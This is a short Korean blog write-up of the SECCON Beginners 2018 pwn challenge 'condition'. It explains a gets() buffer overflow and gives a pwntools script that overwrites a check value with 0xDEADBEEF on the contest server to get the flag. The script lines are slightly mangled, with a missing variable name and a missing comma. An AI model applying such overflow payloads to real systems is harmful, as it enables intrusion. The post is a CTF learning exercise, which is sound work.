Hack4S3cur1ty

[Seccon Beginners 2018][Pwn] condition 본문

CTFs/2018

[Seccon Beginners 2018][Pwn] condition

h4ck4s3cur1ty 2018. 5. 28. 23:56

문제 이름이 condition 이길래 race condition인줄 알았는데 바이너리를 까보니 그냥 0xDEADBEEF를 만족하면 플래그를 준다.


gets로 간단하게 BOF가 가능하다.



1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote('pwn1.chall.beginners.seccon.jp'16268)
 
payload = 'A' * 0x2c
payload +='\xef\xbe\xad\xde'
 
s.send(payload + '\n')
 
s.interactive()
cs


Comments